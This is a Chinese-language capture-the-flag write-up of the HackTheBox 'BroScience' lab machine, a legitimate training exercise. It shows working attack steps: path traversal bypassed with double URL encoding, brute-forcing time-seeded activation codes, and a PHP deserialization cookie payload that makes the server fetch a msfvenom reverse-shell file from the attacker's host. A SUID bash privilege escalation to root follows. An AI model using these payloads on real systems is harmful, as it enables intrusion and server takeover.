hackthebox-BroScience

admin 2023年2月28日15:12:03评论155 views字数 9143阅读30分28秒阅读模式

hackthebox-BroScience writeup

信息搜集


└─# nmap 10.10.11.195 -sV -sCStarting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 11:48 CSTStats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 66.67% done; ETC: 11:49 (0:00:07 remaining)Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 94.05% done; ETC: 11:49 (0:00:00 remaining)Stats: 0:00:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 99.05% done; ETC: 11:49 (0:00:00 remaining)Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 99.76% done; ETC: 11:49 (0:00:00 remaining)Nmap scan report for 10.10.11.195Host is up (0.24s latency).Not shown: 997 closed tcp ports (reset)PORT    STATE SERVICE  VERSION22/tcp a open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)| ssh-hostkey: |   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)80/tcp  open  http     Apache httpd 2.4.54|_http-title: Did not follow redirect to https://broscience.htb/|_http-server-header: Apache/2.4.54 (Debian)443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))|_ssl-date: TLS randomness does not represent time|_http-server-header: Apache/2.4.54 (Debian)| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT| Not valid before: 2022-07-14T19:48:36|_Not valid after:  2023-07-14T19:48:36| tls-alpn: |_  http/1.1|_http-title: BroScience : Home| http-cookie-flags: |   /: |     PHPSESSID: |_      httponly flag not setService Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 30.83 seconds


将 broscience.htb 添加到hosts。


└─# echo '10.10.11.195  broscience.htb' >> /etc/hosts


在页面上发现了登录功能,注册个账号

hackthebox-BroScience

当我们尝试登录时,得到该帐户尚未激活,因此我们需要激活该帐户。

发现了一个activate.php 页面

hackthebox-BroScience

使用arjun工具尝试爆破参数的名字


└─# arjun -u https://broscience.htb/activate.php?    _   /_| _ '                                                                                                    (  |/ /(//) v2.2.1                                                                                              _/                                                                                                    
[*] Probing the target for stability[*] Analysing HTTP response for anomalies[*] Analysing HTTP response for potential parameter names[*] Logicforcing the URL endpoint[✓] parameter detected: code, based on: body length[+] Parameters found: code


发现了code参数,但是没啥用。。。。我通过dirsearch 进行目录扫描,发现includes 目录 可以直接访问文件


└─# dirsearch -u https://broscience.htb/ -e php


hackthebox-BroScience

当我尝试目录穿越的时候,发现了拦截行为

hackthebox-BroScience

通过双重url编码进行绕过,可以读取任意文件

hackthebox-BroScience

读一下 activate.php,这样我们就可以看到如何为每个用户生成激活码。


<?phpsession_start();
// Check if user is logged in alreadyif (isset($_SESSION['id'])) { header('Location: /index.php');}
if (isset($_GET['code'])) { // Check if code is formatted correctly (regex) if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) { // Check for code in database include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1'); $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) { // Check if account already activated $row = pg_fetch_row($res); if (!(bool)$row+
+[1]) { // Activate account $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1'); $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!"; $alert_type = "success"; } else { $alert = 'Account already activated.'; } } else { $alert = "Invalid activation code."; } } else { $alert = "Invalid activation code."; }} else { $alert = "Missing activation code.";}?>
<html> <head> <title>BroScience : Activate account</title> <?php include_once 'includes/header.php'; ?> </head> <body> <?php include_once 'includes/navbar.php'; ?> <div class="uk-container uk-container-xsmall"> <?php // Display any alerts if (isset($alert)) { ?> <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>"> <a class="uk-alert-close" uk-close></a> <?=$alert?> </div> <?php } ?> </div> </body></html>


看起来激活码是 32 个字符。在 register.php 中看看它是如何生成的。


...                                if (pg_num_rows($res) == 0) {                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link."; $alert_type = "success"; } else { $alert = "Failed to generate a valid activation code, please try again."; }
...


可以看到调用了这个php文件的函数


include_once 'includes/utils.php';$activation_code = generate_activation_code();


继续读一下includes/utils.php文件


<?phpfunction generate_activation_code() {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand(time());    $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    return $activation_code;}...


这个时候我们问一下chatgpt 这个函数是如何运行的


这是一个使用 PHP 编写的函数,用于生成一个由32个随机字母和数字组成的激活码。下面是函数的具体步骤:
1. $chars 是一个包含所有可能的激活码字符的字符串,其中包括所有英文字母的小写和大写形式,以及数字0到9。
2. srand(time()) 用当前时间作为种子,初始化随机数生成器,确保每次调用函数时生成的随机数序列都不同。
3. $activation_code 被初始化为空字符串。
4. 函数使用 for 循环迭代32次。在每次迭代中,函数从 $chars 中选择一个随机字符并将其附加到 $activation_code。
5. rand(0, strlen($chars) - 1) 生成一个介于0和 $chars 长度减1之间的随机整数。这个整数用于选择 $chars 中的一个随机字符。
6. 最终的激活码是一个由32个随机字母和数字组成的字符串,由函数返回。
总的来说,这个函数可以用于生成各种唯一的激活码,例如验证用户账户或激活软件许可证等。


使用 burp 获取发布用户注册请求的时间,然后模拟生成激活码


<?phpfunction generate_activation_code() {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand(strtotime("Mon, 20 Feb 2023 09:31:56 GMT"));    $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    echo $activation_code;} generate_activation_code();


尝试运行一下,拿到激活码


D:phpstudy_proWWW>php 1.phpu4KQywP7DF7rdUqy4DSQow3tIzP0AsLs


但是反反复复一直是激活失败,最终在社区求助大佬才解决问题

hackthebox-BroScience

新代码生成了±10 ms的激活码,解决误差问题


<?phpfunction generate_activation_code($time_value) {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand($time_value);    $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    return $activation_code;}
$t = 1673187305; // insert your timestamp herefor ($j = $t-10; $j < $t+10; $j++) { echo "rn"; echo generate_activation_code($j);}


使用python 编写脚本 发送激活请求


import requests import warningsimport tqdm 
warnings.filterwarnings('ignore')with open("codes.txt", "r") as infile: # read all generated activation codes codes = infile.readlines()
with tqdm.tqdm(total=len(codes)) as pbar: for code in codes: result = requests.get(f'https://broscience.htb/activate.php?code={code.strip()}', verify=False) if 'Invalid' not in result.text: pbar.write(f"Activated with {code.strip()}") break pbar.update()
└─# python3 exp.py          Activated with C3MIEqGPcNgB4wCxQb9rMVXrsx8GYpUP                               52%|████████████████████▉                   | 11/21 [00:15<00:14,  1.45s/it]


登录成功后,我们可以看到设置了一个新的 cookie。在做了一些源代码分析后发现, cookie 是通过序列化技术生成的,它存储有关主题和状态的信息。

hackthebox-BroScience

avatar 类有一个参数 img path 用于指向图像的路径,一个 tmp 参数打开 img 并将其内容保存在服务器上。这可以实现任意文件上传。


class Avatar {    public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }}
class AvatarInterface { public $tmp; public $imgPath;
public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}?>


使用msfvenom生成反弹shell的php文件


└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=4444 -f raw -o shelly.php[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload[-] No arch selected, selecting arch: php from the payloadNo encoder specified, outputting raw payloadPayload size: 1111 bytesSaved as: shelly.php


生成反序列化的payload


<?phpclass AvatarInterface {    public $tmp;    public $imgPath;
public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}
$payload = new AvatarInterface();$payload->tmp = 'http://10.10.16.3/shelly.php';$payload->imgPath = '/var/www/html/shelly.php';$payload = base64_encode(serialize($payload));echo $payload;
└─# php 1.php TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyODoiaHR0cDovLzEwLjEwLjE2LjMvc2hlbGx5LnBocCI7czo3OiJpbWdQYXRoIjtzOjI0OiIvdmFyL3d3dy9odG1sL3NoZWxseS5waHAiO30=


修改cookie后,进行反弹shell


msf6 exploit(multi/handler) > set lhost 10.10.16.4lhost => 10.10.16.4msf6 exploit(multi/handler) > set lport 4444lport => 4444msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.4:4444 [*] Sending stage (39927 bytes) to 10.10.11.195[*] Meterpreter session 7 opened (10.10.16.4:4444 -> 10.10.11.195:50322) at 2023-02-23 11:43:41 +0800
meterpreter >


通过shell命令得到交互shell,通过python得到更好的稳定shell


meterpreter > shellProcess 100864 created.Channel 7 created.sh: 0: getcwd() failed: No such file or directorysh: 0: getcwd() failed: No such file or directory
#通过python得到bash会话python3 -c 'import pty;pty.spawn("/bin/bash")'shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
寻找suid命令bash-5.1$ find / -perm -u=s -type f 2>/dev/null==============================命令拆解find / 从根目录开始查找 -perm -u=s 具有suid权限 -type f 查找普通文件2>/dev/null 不输出错误信息==============================
/usr/lib/xorg/Xorg.wrap/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/sbin/pppd/usr/bin/vmware-user-suid-wrapper/usr/bin/newgrp/usr/bin/fusermount3/usr/bin/passwd/usr/bin/su/usr/bin/sudo/usr/bin/chfn/usr/bin/mount/usr/bin/ntfs-3g/usr/bin/umount/usr/bin/gpasswd/usr/bin/bash/usr/bin/chsh/usr/libexec/polkit-agent-helper-1
通过bash -p拿到root权限bash-5.1$ bash -pbash -pshell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directorybash-5.1# whoamiwhoamirootcat /root/root.txt0b14594b859...bash-5.1# cat /home/bill/user.txtcat /home/bill/user.txt26aa413aeb5...bash-5.1#


hackthebox-BroScience


原文始发于微信公众号(靶机狂魔):hackthebox-BroScience

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月28日15:12:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hackthebox-BroSciencehttps://cn-sec.com/archives/1579425.html

发表评论

匿名网友 填写信息